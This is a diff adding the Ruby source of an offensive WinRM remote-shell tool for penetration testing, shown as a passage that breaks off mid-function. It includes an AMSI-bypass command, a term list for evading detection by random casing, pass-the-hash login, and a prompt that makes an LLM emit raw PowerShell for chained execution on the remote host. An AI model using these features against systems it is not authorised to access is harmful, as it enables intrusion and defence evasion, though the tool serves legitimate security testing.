evil-winrm-ai 3.9

data/evil-winrm-ai.rb

@@ -0,0 +1,2186 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+# Author: CyberVaca
+# Twitter: https://twitter.com/CyberVaca_
+# Based on the Alamot's original code
+
+# Dependencies
+require 'English'
+require 'winrm'
+require 'winrm-fs'
+require 'stringio'
+require 'base64'
+require 'readline'
+require 'optionparser'
+require 'io/console'
+require 'time'
+require 'fileutils'
+require 'logger'
+require 'shellwords'
+
+# Constants
+
+# Version
+VERSION = '3.9'
+
+# Msg types
+TYPE_INFO = 0
+TYPE_ERROR = 1
+TYPE_WARNING = 2
+TYPE_DATA = 3
+TYPE_SUCCESS = 4
+
+# Global vars
+
+# Available commands
+$LIST = %w[Bypass-4MSI services upload download clear cls menu exit]
+$COMMANDS = $LIST.dup
+$CMDS = $COMMANDS.clone
+$LISTASSEM = [''].sort
+$DONUTPARAM1 = ['-process_id']
+$DONUTPARAM2 = ['-donutfile']
+
+# menu and show-global-methods commands
+$MENU_CMD = ""
+$SHOW_GLOBAL_METHODS_CMD = ""
+
+$WORDS_RANDOM_CASE = [
+  '[Runtime.InteropServices.Marshal]',
+  'System.Runtime.InteropServices.Marshal',
+  'System.Reflection.Emit.AssemblyBuilderAccess',
+  'System.Reflection.CallingConventions',
+  'System.Reflection.AssemblyName',
+  'System.MulticastDelegate',
+  'GetDelegateForFunctionPointer',
+  'Import-PowerShellDataFile',
+  'ImportSystemModules',
+  'New-TemporaryFile',
+  '.MakeByRefType',
+  '.CreateType',
+  '.DefineConstructor',
+  '.DefineMethod',
+  '.DefineDynamicModule',
+  'function ',
+  'WriteByte',
+  '[Ref]',
+  'Assembly.GetType',
+  'GetField',
+  '[System.Net.WebUtility]',
+  'HtmlDecode',
+  'Reflection.BindingFlags',
+  'NonPublic',
+  'Static',
+  'GetValue',
+  'ForEach-Object',
+  'Where-Object',
+  'Select-Object',
+  '.name',
+  'showmethods',
+  'function:',
+  '.CommandType',
+  '-contains',
+  '-notmatch',
+  '-like',
+  '-notlike',
+  '-notcontains',
+  '-and',
+  'ls ',
+  '$global',
+  '-Property'
+]
+
+# Colors and path completion
+$colors_enabled = true
+$check_rpath_completion = true
+
+# Path for ps1 scripts and exec files
+$scripts_path = ''
+$executables_path = ''
+
+# Connection vars initialization
+$host = ''
+$port = '5985'
+$user = ''
+$password = ''
+$url = 'wsman'
+$default_service = 'HTTP'
+$full_logging_path = "#{Dir.home}/evil-winrm-logs"
+$user_agent = "Microsoft WinRM Client"
+$ccache_file = nil
+$original_krb5ccname = nil
+$kerberos_cleanup_registered = false
+
+# Supported AI LLM providers
+class SupportedLLMProviders
+  Ollama = "Ollama".downcase.freeze
+  OpenAI = "OpenAI".downcase.freeze
+  Anthropic = "Anthropic".downcase.freeze
+  MistralAI = "Mistral-AI".downcase.freeze
+  Gemini = "Gemini".downcase.freeze
+  AzureOpenAI = "AzureOpenAI".downcase.freeze
+
+  def self.all_providers
+    [
+      Ollama,
+      OpenAI,
+      Anthropic,
+      MistralAI,
+      Gemini,
+      AzureOpenAI
+    ]
+  end
+
+  def self.is_supported(provider)
+    all_providers.include?(provider.downcase)
+  end
+
+  def self.get_description
+    all_providers.map(&:capitalize).join(', ')
+  end
+end
+
+# Redefine download method from winrm-fs
+module WinRM
+  module FS
+    class FileManager
+      def download(remote_path, local_path, chunk_size = 1024 * 1024, first = true, size: -1)
+        @logger.debug("downloading: #{remote_path} -> #{local_path} #{chunk_size}")
+        index = 0
+        return download_dir(remote_path, local_path, chunk_size, false) if remote_path.match?(/(\*\.?|\*\*|\.?\*|\*)/)
+        output = _output_from_file(remote_path, chunk_size, index)
+        return download_dir(remote_path, local_path, chunk_size, true) if output.exitcode == 2
+        return false if output.exitcode >= 1
+
+        File.open(local_path, 'wb') do |fd|
+          begin
+            out = _write_file(fd, output)
+            index += out.length
+            until out.empty?
+              yield index, size if size != -1
+              output = _output_from_file(remote_path, chunk_size, index)
+              return false if output.exitcode >= 1
+
+              out = _write_file(fd, output)
+              index += out.length
+            end
+          rescue EstandardError => err
+            @logger.debug("IO Failed: " + err.to_s)
+            raise
+          end
+        end
+      end
+
+      def download_dir(remote_path, local_path, chunk_size, first)
+        index_exp = remote_path.index(/(\*\.?|\*\*|\.?\*|\*)/) || 0
+        remote_file_path = remote_path
+
+        if index_exp > 0
+          index_last_folder = remote_file_path.rindex(/[\\\/]/, index_exp)
+          remote_file_path = remote_file_path[0..index_last_folder-1]
+        end
+
+        FileUtils.mkdir_p(local_path) unless File.directory?(local_path)
+        command = "Get-ChildItem #{remote_path} | Select-Object Name"
+
+        @connection.shell(:powershell) { |e| e.run(command) }.stdout.strip.split(/\n/).drop(2).each do |file|
+          download(File.join(remote_file_path.to_s, file.strip), File.join(local_path, file.strip), chunk_size, false)
+        end
+      end
+
+      true
+    end
+  end
+end
+
+# Class creation
+class EvilWinRM
+  # Initialization
+  def initialize
+    @psLoaded = false
+    @directories = {}
+    @cache_ttl = 10
+    @executables = []
+    @functions = []
+    @Bypass_4MSI_loaded = false
+    @llm_messages = []
+  end
+
+  def has_llm_params
+    if $llm_provider.nil? || $llm_provider.empty?
+      return false
+    end
+    case $llm_provider
+      when SupportedLLMProviders::Ollama
+        return !($llm_url.nil? || $llm_url.empty? || $llm_model.nil? || $llm_model.empty?)
+      else
+        return !($llm_api_key.nil? || $llm_api_key.empty?)
+    end
+  end
+
+  def is_llm_model_defined
+    !($llm_model.nil? || $llm_model.empty?)
+  end
+
+  def initialize_llm_connection
+    case $llm_provider
+      when SupportedLLMProviders::Ollama
+        require 'ollama-ai'
+
+        @llm = Langchain::LLM::Ollama.new(
+          url: $llm_url,
+          default_options: {
+            temperature: 0.0,
+            chat_completion_model_name: $llm_model
+          }
+        )
+      when SupportedLLMProviders::OpenAI
+        require 'openai'
+
+        llm_options = {}
+        llm_options[:log_errors] = $llm_log_level
+
+        @llm = Langchain::LLM::OpenAI.new(
+          api_key: $llm_api_key,
+          llm_options: llm_options, # Available options: https://github.com/alexrudall/ruby-openai/blob/main/lib/openai/client.rb#L5-L13
+          default_options: {}
+        )
+      when SupportedLLMProviders::AzureOpenAI
+        require 'openai'
+
+        azure_url_parts = $llm_url.split('/chat/completions?api-version=')
+        azure_chat_endpoint = azure_url_parts[0]
+        azure_chat_version = azure_url_parts[1]
+
+        llm_options = {}
+        llm_options[:log_errors] = $llm_log_level
+        llm_options[:api_type] = :azure
+        llm_options[:api_version] = azure_chat_version
+
+        @llm = Langchain::LLM::Azure.new(
+          api_key: $llm_api_key,
+          chat_deployment_url: azure_chat_endpoint,
+          llm_options: llm_options # Available options: https://github.com/alexrudall/ruby-openai/blob/main/lib/openai/client.rb#L5-L13
+        )
+      when SupportedLLMProviders::Anthropic
+        require 'anthropic'
+
+        @llm = Langchain::LLM::Anthropic.new(
+          api_key: $llm_api_key,
+          default_options: {}
+        )
+      when SupportedLLMProviders::MistralAI
+        require 'mistral-ai'
+
+        @llm = Langchain::LLM::MistralAI.new(
+          api_key: $llm_api_key,
+          default_options: {}
+        )
+      when SupportedLLMProviders::Gemini
+        require 'net/http'
+
+        @llm = Langchain::LLM::GoogleGemini.new(api_key: $llm_api_key)
+      else
+        raise "LLM provider #{$llm_provider} not supported. Supported providers are: #{SupportedLLMProviders::get_description}"
+    end
+    @llm_messages = []
+  end
+
+  def get_system_messages
+    [{
+      role: 'system',
+      content: 'You are an Advanced Powershell Command Generator. You process user prompts, evaluate the best single response, and return only raw powershell commands. Raw Powershell commands ready for be executed by another tool chained. Evaluate potential options and return the single best option for the user.'
+    }, {
+      role: 'system',
+      content: 'As an Advanced Powershell Command Generator, in case of the need for concatenate more than one command do it with ";". No comments or explanations are allowed. Only commands as response are allowed. If no commands are suitable a powershell comment is returned to the user.'
+    }, {
+      role: 'system',
+      content: 'Advanced Powershell Command Generator NEVER use newline characters or carriage return character. Adhere strictly to Powershell syntax and rules. Markdown code blocks are NOT ALLOWED. NEVER return Markdown result only Powershell text based content IS ALLOWED. NEVER return Markdown results like "```powershell" or "```" or "`"'
+    }]
+  end
+
+  def system_initial_system_prompt
+    get_system_messages.map {|m| m[:content]}.join(" ")
+  end
+
+  def get_message_for_llm(prompt_text)
+    return {
+      role: 'user',
+      content: prompt_text
+    }
+  end
+
+  def add_message_to_llm_messages(message)
+    system_messages = get_system_messages
+    if @llm_messages.nil? || @llm_messages.empty?
+      @llm_messages.concat(system_messages)
+    end
+    if @llm_messages.length > system_messages.length
+      @llm_messages = []
+      @llm_messages.concat(system_messages)
+    end
+    @llm_messages << message
+  end
+
+  def get_llm_params(prompt_text)
+    params = {}
+    case $llm_provider
+    when SupportedLLMProviders::Gemini
+      gemini_messages = []
+      system_parts = get_system_messages.map {|msg| {"text": msg[:content]} }
+      gemini_messages << {
+        'role': 'model',
+        'parts':system_parts
+      }
+      gemini_messages << {
+        'role': 'user',
+        'parts': [
+          {
+            "text": prompt_text
+          }
+        ]
+      }
+      params[:messages] = gemini_messages
+    when SupportedLLMProviders::Anthropic
+      system_prompt = system_initial_system_prompt
+      params = {
+        "message": [prompt_text],
+        "system": system_prompt
+      }
+    else
+      llm_message = get_message_for_llm(prompt_text)
+      add_message_to_llm_messages(llm_message)
+      params = {
+        "messages": @llm_messages
+      }
+    end
+    if is_llm_model_defined
+      params["model"] = $llm_model
+    end
+    return params
+  end
+
+  def process_message_llm_ollama(prompt_text)
+    params = get_llm_params(prompt_text)
+    command = ""
+    @llm.chat(
+      model: params[:model],
+      messages: params[:messages]
+    ) do |resp|
+      command_part = resp.chat_completion
+      unless command_part.nil? || command_part.empty?
+        print command_part
+        command += command_part
+      end
+    end
+    command
+  end
+
+  def process_message_llm_sync(prompt_text)
+    params = get_llm_params(prompt_text)
+    resp = @llm.chat(params)
+    command = ""
+    command_part = resp.chat_completion
+    unless command_part.nil? || command_part.empty?
+      print command_part
+      command = command_part
+    end
+    command
+  end
+
+  def process_message_llm(prompt_text)
+    print_message("Generating commands...", TYPE_INFO, true)
+    begin
+      case $llm_provider
+      when SupportedLLMProviders::Ollama
+        command = process_message_llm_ollama(prompt_text)
+      else
+        command = process_message_llm_sync(prompt_text)
+      end
+    rescue StandardError => e
+      command = ""
+      print_message("Error in LLM: #{e.class} -> #{e}.\nPlease refer to the --help option to find the required parameters for using LLM", TYPE_ERROR)
+    end
+    command
+  end
+
+  # Remote path completion compatibility check
+  def completion_check
+    if $check_rpath_completion == true
+      begin
+        Readline.quoting_detection_proc
+        @completion_enabled = true
+      rescue NotImplementedError, NoMethodError => e
+        @completion_enabled = false
+          print_message("Remote path completions is disabled due to ruby limitation: #{e}", TYPE_WARNING)
+          print_message('For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion', TYPE_DATA)
+      end
+    else
+      @completion_enabled = false
+      print_message('Remote path completion is disabled', TYPE_WARNING)
+    end
+  end
+
+  # Arguments
+  def arguments
+    options = { port: $port, url: $url, service: $service, user_agent: $user_agent }
+    optparse = OptionParser.new do |opts|
+      opts.banner = 'Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l]'
+      opts.on('-S', '--ssl', 'Enable ssl') do |_val|
+        $ssl = true
+        options[:port] = '5986'
+      end
+      opts.on('-c', '--pub-key PUBLIC_KEY_PATH', 'Local path to public key certificate') do |val|
+        options[:pub_key] = val
+      end
+      opts.on('-k', '--priv-key PRIVATE_KEY_PATH', 'Local path to private key certificate') do |val|
+        options[:priv_key] = val
+      end
+      opts.on('-r', '--realm DOMAIN',
+              'Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }') do |val|
+        options[:realm] = val.upcase
+      end
+      opts.on('-s', '--scripts PS_SCRIPTS_PATH', 'PowerShell scripts local path') do |val|
+        options[:scripts] = val
+      end
+      opts.on('--llm LLM_NAME', "Name for the LLM provider to use (#{SupportedLLMProviders::get_description})") do |val|
+        options[:llm_provider] = val.downcase
+      end
+      opts.on('--llm-model LLM_MODEL_NAME', 'The LLM model to use') do |val|
+        options[:llm_model] = val
+      end
+      opts.on('--llm-url LLM_URL', "The url of LLM service (used by #{SupportedLLMProviders::Ollama.capitalize} and #{SupportedLLMProviders::AzureOpenAI.capitalize})") do |val|
+        options[:llm_url] = val
+      end
+      opts.on('--llm-api-key LLM_API_KEY', 'The LLM api key to use') do |val|
+        options[:llm_api_key] = val
+      end
+      opts.on('--llm-history', 'Enable LLM generated commands to be saved in history (default false)') do |_val|
+        options[:llm_history] = true
+      end
+      opts.on('--llm-debug', 'Enable LLM logging (default false)') do | _ |
+        options[:llm_log_errors] = Logger::DEBUG
+      end
+      opts.on('--spn SPN_PREFIX', 'SPN prefix for Kerberos auth (default HTTP)') { |val| options[:service] = val }
+      opts.on('-K', '--ccache TICKET_FILE', 'Path to Kerberos ticket file (ccache or kirbi format, auto-detected)') { |val| options[:ccache] = val }
+      opts.on('-e', '--executables EXES_PATH', 'C# executables local path') { |val| options[:executables] = val }
+      opts.on('-i', '--ip IP', 'Remote host IP or hostname. FQDN for Kerberos auth (required)') do |val|
+        options[:ip] = val
+      end
+      opts.on('-U', '--url URL', 'Remote url endpoint (default /wsman)') { |val| options[:url] = val }
+      opts.on('-u', '--user USER', 'Username (required if not using kerberos)') { |val| options[:user] = val }
+      opts.on('-p', '--password PASS', 'Password') { |val| options[:password] = val }
+      opts.on('-H', '--hash HASH', 'NTHash') do |val|
+        if !options[:password].nil? && !val.nil?
+          print_header
+          print_message('You must choose either password or hash auth. Both at the same time are not allowed', TYPE_ERROR)
+          custom_exit(1, false)
+        end
+        unless val.match(/^[a-fA-F0-9]{32}$/)
+          print_header
+          print_message('Invalid hash format', TYPE_ERROR)
+          custom_exit(1, false)
+        end
+        options[:password] = "00000000000000000000000000000000:#{val}"
+      end
+      opts.on('-P', '--port PORT', 'Remote host port (default 5985)') { |val| options[:port] = val }
+      opts.on('-a', '--user-agent USERAGENT', 'Specify connection user-agent (default Microsoft WinRM Client)') do |val|
+        options[:user_agent] = val
+      end
+      opts.on('-V', '--version', 'Show version') do |_val|
+        puts("v#{VERSION}")
+        custom_exit(0, false)
+      end
+      opts.on('-n', '--no-colors', 'Disable colors') do |_val|
+        $colors_enabled = false
+      end
+      opts.on('-N', '--no-rpath-completion', 'Disable remote path completion') do |_val|
+        $check_rpath_completion = false
+      end
+      opts.on('-l', '--log', 'Log the WinRM session') do |_val|
+        $log = true
+        $filepath = ''
+        $logfile = ''
+        $logger = ''
+      end
+      opts.on('-h', '--help', 'Display this help message') do
+        print_header
+        puts
+        puts(opts)
+        custom_exit(0, false)
+      end
+    end
+
+    begin
+      optparse.parse!
+      mandatory = if options[:realm].nil? && options[:priv_key].nil? && options[:pub_key].nil?
+                    %i[ip user]
+                  else
+                    [:ip]
+                  end
+      missing = mandatory.select { |param| options[param].nil? }
+      raise OptionParser::MissingArgument, missing.join(', ') unless missing.empty?
+    rescue OptionParser::InvalidOption, OptionParser::MissingArgument
+      print_header
+      print_message($ERROR_INFO.to_s, TYPE_ERROR, true, $logger)
+      puts
+      puts(optparse)
+      custom_exit(1, false)
+    end
+
+    if options[:password].nil? && options[:realm].nil? && options[:priv_key].nil? && options[:pub_key].nil?
+      options[:password] = $stdin.getpass(prompt = 'Enter Password: ')
+    end
+
+    $host = options[:ip]
+    $user = options[:user]
+    $password = options[:password]
+    $port = options[:port]
+    $scripts_path = options[:scripts]
+    $executables_path = options[:executables]
+    $url = options[:url]
+    $pub_key = options[:pub_key]
+    $priv_key = options[:priv_key]
+    $realm = options[:realm]
+    $service = options[:service]
+    $user_agent = options[:user_agent]
+    $llm_url = options[:llm_url]
+    $llm_model = options[:llm_model]
+    $llm_provider = options[:llm_provider]
+    $llm_api_key = options[:llm_api_key]
+    $llm_history = options[:llm_history] || false
+    $llm_log_level = options[:llm_log_errors] || Logger::ERROR
+    $ccache_file = options[:ccache]
+    unless $log.nil?
+
+      FileUtils.mkdir_p $full_logging_path
+
+      FileUtils.mkdir_p "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}"
+
+      FileUtils.mkdir_p "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}/#{$host}"
+
+      $filepath = "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}/#{$host}/#{Time.now.strftime('%H%M%S')}"
+      $logger = Logger.new($filepath)
+      $logger.formatter = proc do |_severity, datetime, _progname, msg|
+        "#{datetime}: #{msg}\n"
+      end
+    end
+    return if $realm.nil?
+    return unless $service.nil?
+
+    $service = $default_service
+  end
+
+  # Print script header
+  def print_header
+    print_message("Evil-WinRM shell v#{VERSION}", TYPE_INFO, false)
+  end
+
+  # Generate connection object
+  def connection_initialization
+    # If using Kerberos and host is an IP, ask user if they want to resolve it to FQDN
+    if (!$ccache_file.nil? || !$realm.nil?) && is_ip_address?($host)
+      puts
+      print_message("IP address detected (#{$host}). Kerberos requires FQDN. Do you want to attempt reverse DNS lookup?", TYPE_WARNING, true, $logger)
+      print_message('Press "y" to attempt DNS resolution, press any other key to cancel', TYPE_WARNING, true, $logger)
+      response = $stdin.getch.downcase
+      puts
+
+      if response == 'y'
+        print_message("Attempting reverse DNS lookup to get FQDN for Kerberos...", TYPE_INFO, true, $logger)
+        fqdn = resolve_ip_to_fqdn($host, $realm)
+        if fqdn
+          print_message("[+] Resolved IP #{$host} to FQDN: #{fqdn}", TYPE_SUCCESS, true, $logger)
+          $host = fqdn
+        else
+          print_message("Could not resolve IP #{$host} to FQDN.", TYPE_ERROR, true, $logger)
+          print_message("When using Kerberos tickets, you must provide an FQDN instead of an IP address.", TYPE_ERROR, true, $logger)
+          custom_exit(1, false)
+        end
+      else
+        print_message("DNS resolution cancelled by user.", TYPE_ERROR, true, $logger)
+        print_message("When using Kerberos tickets, you must provide an FQDN instead of an IP address.", TYPE_ERROR, true, $logger)
+        custom_exit(1, false)
+      end
+    end
+
+    # Configure Kerberos ticket file if provided (supports both ccache and kirbi)
+    if !$ccache_file.nil?
+      expanded_path = File.expand_path($ccache_file)
+
+      unless File.exist?(expanded_path)
+        print_message("Kerberos ticket file not found: #{expanded_path}", TYPE_ERROR, true, $logger)
+        custom_exit(1, false)
+      end
+
+      unless File.readable?(expanded_path)
+        print_message("Kerberos ticket file is not readable: #{expanded_path}", TYPE_ERROR, true, $logger)
+        custom_exit(1, false)
+      end
+
+      # Check if file is not empty
+      if File.size(expanded_path) == 0
+        print_message("Kerberos ticket file is empty: #{expanded_path}", TYPE_ERROR, true, $logger)
+        custom_exit(1, false)
+      end
+
+      # Detect ticket type
+      ticket_type = detect_ticket_type(expanded_path)
+
+      # Convert kirbi to ccache if needed
+      if ticket_type == :kirbi
+        ccache_path = convert_kirbi_to_ccache(expanded_path)
+        ticket_type_name = "kirbi"
+      else
+        # Already ccache format
+        ccache_path = expanded_path
+        ticket_type_name = "ccache"
+      end
+
+      # Only modify ENV if it's not already set to avoid memory issues
+      # If user has already set KRB5CCNAME, we'll use that instead
+      if ENV['KRB5CCNAME'].nil? || ENV['KRB5CCNAME'].empty?
+        # Save original (nil) value
+        $original_krb5ccname = ENV['KRB5CCNAME']
+        # Set KRB5CCNAME environment variable
+        ENV['KRB5CCNAME'] = ccache_path
+        print_message("Using #{ticket_type_name} Kerberos ticket file: #{expanded_path}", TYPE_INFO, true, $logger)
+      else
+        # User already has KRB5CCNAME set, save original and warn them
+        $original_krb5ccname = ENV['KRB5CCNAME']
+        print_message("KRB5CCNAME is already set to: #{ENV['KRB5CCNAME']}. Using existing value instead of #{expanded_path}", TYPE_WARNING, true, $logger)
+      end
+
+      # Register at_exit handler to clean up KRB5CCNAME before any automatic cleanup
+      # This prevents malloc errors when the process exits (especially when shell is idle)
+      unless $kerberos_cleanup_registered
+        at_exit do
+          begin
+            if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
+              ENV['KRB5CCNAME'] = $original_krb5ccname
+            elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
+              # Only delete if we set it (if original was nil)
+              ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
+            end
+          rescue => e
+            # Ignore errors during cleanup
+          end
+        end
+        $kerberos_cleanup_registered = true
+      end
+    end
+
+    if $ssl
+      $conn = if $pub_key && $priv_key
+                WinRM::Connection.new(
+                  endpoint: "https://#{$host}:#{$port}/#{$url}",
+                  user: $user,
+                  password: $password,
+                  no_ssl_peer_verification: true,
+                  transport: :ssl,
+                  client_cert: $pub_key,
+                  client_key: $priv_key,
+                  user_agent: $user_agent
+                )
+              elsif !$realm.nil?
+                WinRM::Connection.new(
+                  endpoint: "https://#{$host}:#{$port}/#{$url}",
+                  user: '',
+                  password: '',
+                  transport: :kerberos,
+                  realm: $realm,
+                  no_ssl_peer_verification: true,
+                  user_agent: $user_agent
+                )
+              else
+                WinRM::Connection.new(
+                  endpoint: "https://#{$host}:#{$port}/#{$url}",
+                  user: $user,
+                  password: $password,
+                  no_ssl_peer_verification: true,
+                  transport: :ssl,
+                  user_agent: $user_agent
+                )
+              end
+
+    elsif !$realm.nil?
+      $conn = WinRM::Connection.new(
+        endpoint: "http://#{$host}:#{$port}/#{$url}",
+        user: '',
+        password: '',
+        transport: :kerberos,
+        realm: $realm,
+        service: $service,
+        user_agent: $user_agent
+      )
+    else
+      $conn = WinRM::Connection.new(
+        endpoint: "http://#{$host}:#{$port}/#{$url}",
+        user: $user,
+        password: $password,
+        no_ssl_peer_verification: true,
+        user_agent: $user_agent
+      )
+    end
+  end
+
+  # Detect if a docker environment
+  def docker_detection
+    return true if File.exist?('/.dockerenv')
+
+    false
+  end
+
+  # Define colors
+  def colorize(text, color = 'default')
+    colors = { 'default' => '38', 'blue' => '34', 'red' => '31', 'yellow' => '1;33', 'magenta' => '35', 'green' => '1;32' }
+    color_code = colors[color]
+    "\001\033[0;#{color_code}m\002#{text}\001\033[0m\002"
+  end
+
+  # Messsage printing
+  def print_message(msg, msg_type=TYPE_INFO, prefix_print=true, log=nil)
+    if msg_type == TYPE_INFO then
+      msg_prefix = "Info: "
+      color = "blue"
+    elsif msg_type == TYPE_WARNING then
+      msg_prefix = "Warning: "
+      color = "yellow"
+    elsif msg_type == TYPE_ERROR then
+      msg_prefix = "Error: "
+      color = "red"
+    elsif msg_type == TYPE_DATA then
+      msg_prefix = "Data: "
+      color = 'magenta'
+    elsif msg_type == TYPE_SUCCESS then
+      color = 'green'
+    else
+      msg_prefix = ""
+      color = "default"
+    end
+
+    if !prefix_print then
+      msg_prefix = ""
+    end
+
+    puts('                                        ')
+
+    if $colors_enabled then
+      puts(self.colorize("#{msg_prefix}#{msg}", color))
+    else
+      puts("#{msg_prefix}#{msg}")
+    end
+
+    if !log.nil?
+      log.info("#{msg_prefix}#{msg}")
+    end
+  end
+
+  # SSL validation
+  def check_ssl(pub_key, priv_key)
+    pub_key = pub_key.to_s
+    priv_key = priv_key.to_s
+    if $ssl
+      unless pub_key.empty? && priv_key.empty? then
+        unless [pub_key, priv_key].all? {|f| File.exist?(f) } then
+          print_message("Path to provided public certificate file \"#{pub_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger) unless File.exist?(pub_key)
+
+          print_message("Path to provided private certificate file \"#{priv_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger) unless File.exist?(priv_key)
+
+          custom_exit(1)
+        end
+      end
+      print_message('SSL enabled', TYPE_WARNING)
+    else
+      print_message("Useless cert/s provided, SSL is not enabled", TYPE_WARNING, true, $logger) unless pub_key.empty? && priv_key.empty?
+    end
+  end
+
+  # Directories validation
+  def check_directories(path, purpose)
+    if path == ''
+      print_message("The directory used for #{purpose} can't be empty. Please set a path", TYPE_ERROR, true, $logger)
+      custom_exit(1)
+    end
+
+    if !(/cygwin|mswin|mingw|bccwin|wince|emx/ =~ RUBY_PLATFORM).nil?
+      # Windows
+      path.concat('\\') if path[-1] != '\\'
+    elsif path[-1] != '/'
+      # Unix
+      path.concat('/')
+    end
+
+    unless File.directory?(path)
+      print_message("The directory \"#{path}\" used for #{purpose} was not found", TYPE_ERROR, true, $logger)
+      custom_exit(1)
+    end
+
+    case purpose
+    when 'scripts'
+      $scripts_path = path
+    when 'executables'
+      $executables_path = path
+    end
+  end
+
+  # Silent warnings
+  def silent_warnings
+    old_stderr = $stderr
+    $stderr = StringIO.new
+    yield
+  ensure
+    $stderr = old_stderr
+  end
+
+  # Read powershell script files
+  def read_scripts(scripts)
+    files = Dir.entries(scripts).select { |f| File.file? File.join(scripts, f) } || []
+    files.grep(/^*\.(ps1|psd1|psm1)$/)
+  end
+
+  # Read executable files
+  def read_executables(executables)
+    Dir.glob("#{executables}*.exe", File::FNM_DOTMATCH)
+  end
+
+  # Read local files and directories names
+  def paths(a_path)
+    parts = get_dir_parts(a_path)
+    my_dir = parts[0]
+    grep_for = parts[1]
+
+    my_dir = File.expand_path(my_dir)
+    my_dir += '/' unless my_dir[-1] == '/'
+
+    files = Dir.glob("#{my_dir}*", File::FNM_DOTMATCH)
+    directories = Dir.glob("#{my_dir}*").select { |f| File.directory? f }
+
+    result = (files + directories) || []
+
+    result.grep(/^#{Regexp.escape(my_dir)}#{grep_for}/i).uniq
+  end
+
+  # Custom exit
+  def custom_exit(exit_code = 0, message_print = true)
+    if message_print
+      case exit_code
+      when 0
+        print_message("Exiting with code #{exit_code}", TYPE_INFO, true, $logger)
+      when 1
+        print_message("Exiting with code #{exit_code}", TYPE_ERROR, true, $logger)
+      when 130
+        print_message('Exiting...', TYPE_INFO, true, $logger)
+      else
+        print_message("Exiting with code #{exit_code}", TYPE_ERROR, true, $logger)
+      end
+    end
+
+    # Restore KRB5CCNAME environment variable before exiting to avoid memory issues
+    begin
+      if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
+        ENV['KRB5CCNAME'] = $original_krb5ccname
+      elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
+        # Only delete if we set it (if original was nil)
+        ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
+      end
+    rescue => e
+      # Ignore errors during cleanup
+    end
+
+    # Close connection explicitly before exiting to avoid memory issues with Kerberos
+    begin
+      if defined?($conn) && !$conn.nil?
+        # Try to close the connection gracefully
+        $conn = nil
+      end
+    rescue => e
+      # Ignore errors during cleanup
+    end
+
+    # Use exit! to bypass at_exit handlers that might cause memory issues
+    # This prevents the malloc error when using Kerberos
+    exit!(exit_code)
+  end
+
+  # Progress bar
+  def progress_bar(bytes_done, total_bytes)
+    progress = ((bytes_done.to_f / total_bytes) * 100).round
+    progress_bar = (progress / 10).round
+    progress_string = '▓' * (progress_bar - 1).clamp(0, 9)
+    progress_string = "#{progress_string}▒#{'░' * (10 - progress_bar)}"
+    message = "Progress: #{progress}% : |#{progress_string}|          \r"
+    $stdout.print message
+  end
+
+  # Get filesize
+  def filesize(shell, path)
+    shell.run("(get-item '#{path}').length").output.strip.to_i
+  end
+
+  # Clear screen
+  def clear_screen
+    system('clear') || system('cls') || puts("\033[2J\033[H")
+  end
+
+  # Get history file path based on host and user
+  def get_history_file_path
+    history_dir = File.join(Dir.home, '.evil-winrm', 'history')
+    FileUtils.mkdir_p(history_dir) unless Dir.exist?(history_dir)
+
+    # Create a safe filename from host and user
+    safe_host = ($host || 'unknown').gsub(/[^a-zA-Z0-9._-]/, '_')
+    safe_user = ($user || 'unknown').gsub(/[^a-zA-Z0-9._-]/, '_')
+    history_filename = "#{safe_host}_#{safe_user}.hist"
+
+    File.join(history_dir, history_filename)
+  end
+
+  # Load history from file
+  def load_history
+    history_file = get_history_file_path
+    return unless File.exist?(history_file)
+
+    begin
+      File.readlines(history_file).each do |line|
+        line = line.chomp
+        Readline::HISTORY.push(line) unless line.empty?
+      end
+    rescue => e
+      # Silently fail if history can't be loaded
+    end
+  end
+
+  # Save command to history file
+  def save_to_history(command)
+    return if command.nil? || command.strip.empty? || command.strip == 'exit'
+
+    history_file = get_history_file_path
+    begin
+      File.open(history_file, 'a') do |f|
+        f.puts(command)
+      end
+    rescue => e
+      # Silently fail if history can't be saved
+    end
+  end
+
+  # Resolve IP address to FQDN using reverse DNS lookup
+  # Returns the best FQDN when multiple PTR records exist (prioritizes server FQDN over domain name)
+  # If only domain is found, attempts to construct and verify server FQDN using forward DNS
+  # Also checks /etc/hosts for manual entries
+  def resolve_ip_to_fqdn(ip_address, realm = nil)
+    require 'socket'
+    require 'resolv'
+    begin
+      resolver = Resolv::DNS.new
+      hostnames = []
+
+      # Step 0: Check /etc/hosts for manual entries (highest priority)
+      if File.exist?('/etc/hosts') && File.readable?('/etc/hosts')
+        begin
+          File.readlines('/etc/hosts').each do |line|
+            # Skip comments and empty lines
+            next if line.strip.empty? || line.strip.start_with?('#')
+
+            # Parse line: IP hostname1 hostname2 ...
+            parts = line.split
+            next if parts.empty?
+
+            # Check if first part matches our IP
+            if parts[0] == ip_address
+              # Add all hostnames from this line
+              parts[1..-1].each do |hostname|
+                # Only consider FQDNs (contain at least one dot)
+                if hostname && hostname.include?('.')
+                  hostnames << hostname unless hostnames.include?(hostname)
+                end
+              end
+            end
+          end
+          if !hostnames.empty?
+            print_message("Found FQDN(s) in /etc/hosts: #{hostnames.join(', ')}", TYPE_INFO, true, $logger)
+          end
+        rescue => e
+          # If we can't read /etc/hosts, continue with DNS lookup
+        end
+      end
+
+      # Step 1: Get all PTR records (reverse DNS)
+      begin
+        ptr_name = Resolv::IPv4.create(ip_address).to_name
+        ptr_records = resolver.getresources(ptr_name, Resolv::DNS::Resource::IN::PTR)
+
